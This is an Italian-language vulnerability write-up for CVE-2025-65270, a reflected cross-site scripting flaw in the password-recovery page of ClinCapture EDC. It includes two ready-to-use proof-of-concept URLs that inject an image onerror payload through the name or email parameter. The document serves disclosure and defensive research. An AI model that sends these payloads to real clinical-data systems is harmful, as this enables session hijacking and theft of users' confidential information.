CVE-2025-65270

⚠️ Disclaimer

Questo repository è esclusivamente per scopi educativi e di ricerca sulla sicurezza difensiva

🔥 Panoramica

Vulnerabilità di cross-site scripting riflesso (XSS) in ClinCapture EDC 3.0 e 2.2.3, che consente a un attaccante remoto non autenticato di eseguire codice JavaScript nel contesto del browser della vittima.

🧪 Prova di concetto

Per dimostrare la vulnerabilità, è necessario accedere alla scheda di recupero password e specificare il payload nel parametro name o email oppure inviare una richiesta

🔓 Tramite parametro name

<url>/edc/RequestPassword?action=submit&name=text%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&[email protected]&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

🔓 Tramite parametro email

<url>/edc/RequestPassword?action=submit&name=text&[email protected]%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

🚨 Impatto

Un utente non autenticato può eseguire codice JavaScript nel contesto del browser della vittima, con l'obiettivo di compiere azioni per conto della vittima o di rubare informazioni riservate, come la risposta a una domanda di sicurezza

🔗 Riferimenti

• CVE-2025-65270